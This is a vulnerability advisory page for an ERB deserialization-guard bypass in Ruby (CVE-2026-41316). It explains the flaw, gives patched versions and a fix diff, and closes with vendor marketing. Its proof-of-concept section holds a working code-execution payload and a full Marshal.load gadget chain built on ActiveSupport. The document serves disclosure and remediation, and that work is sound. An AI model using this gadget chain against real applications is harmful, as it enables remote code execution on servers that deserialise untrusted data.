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GHSA-q339-8rmv-2mhv

HIGH

GHSA-q339-8rmv-2mhv is a high-severity (CVSS 8.1) CWE-693 vulnerability in erb. O3 Security confirms whether GHSA-q339-8rmv-2mhv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

Also known asCVE-2026-41316
Published
Apr 24, 2026
Updated
Jun 9, 2026
Affected
4 pkgs
Patched
4 / 4
Exploits
None indexed

Blast Radius

4 pkgs affected
💎erb💎erb💎erb💎erb

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

  • ERB#def_method
  • ERB#def_module
  • ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

<details>

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

  1. Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
  2. Hash key insertion calls .hash on the proxy
  3. .hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
  4. def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

</details>

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

  • Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
  • Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
  • Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

<details>

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

YearChainMitigated in
2018Gem::Requirement (Luke Jahnke)RubyGems 3.0
2021UDG -- TarReader+WriteAdapter (vakzz)RubyGems 3.1
2022Gem::Specification._load (vakzz)RubyGems 3.6
2024UncaughtThrowError (Luke Jahnke)Ruby 3.4 patches
2024Gem::Source::Git#rev_parseRubyGems 3.6
2026ERB#def_module @_init bypassERB 6.0.4
</details>

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

  • ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
<details>

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end
</details>

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemserball versions4.0.3.1
💎RubyGemserb4.0.4&&< 4.0.4.14.0.4.1
💎RubyGemserb5.0.0&&< 6.0.1.16.0.1.1
💎RubyGemserb6.0.2&&< 6.0.46.0.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for erb. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update erb to 4.0.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q339-8rmv-2mhv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-q339-8rmv-2mhv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-q339-8rmv-2mhv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: - `ERB#def_method` - `ERB#def_module` - `ERB#def_class` An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink,
O3 Security · Impact-Aware SCA

Is GHSA-q339-8rmv-2mhv in your dependencies?

O3 detects GHSA-q339-8rmv-2mhv across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.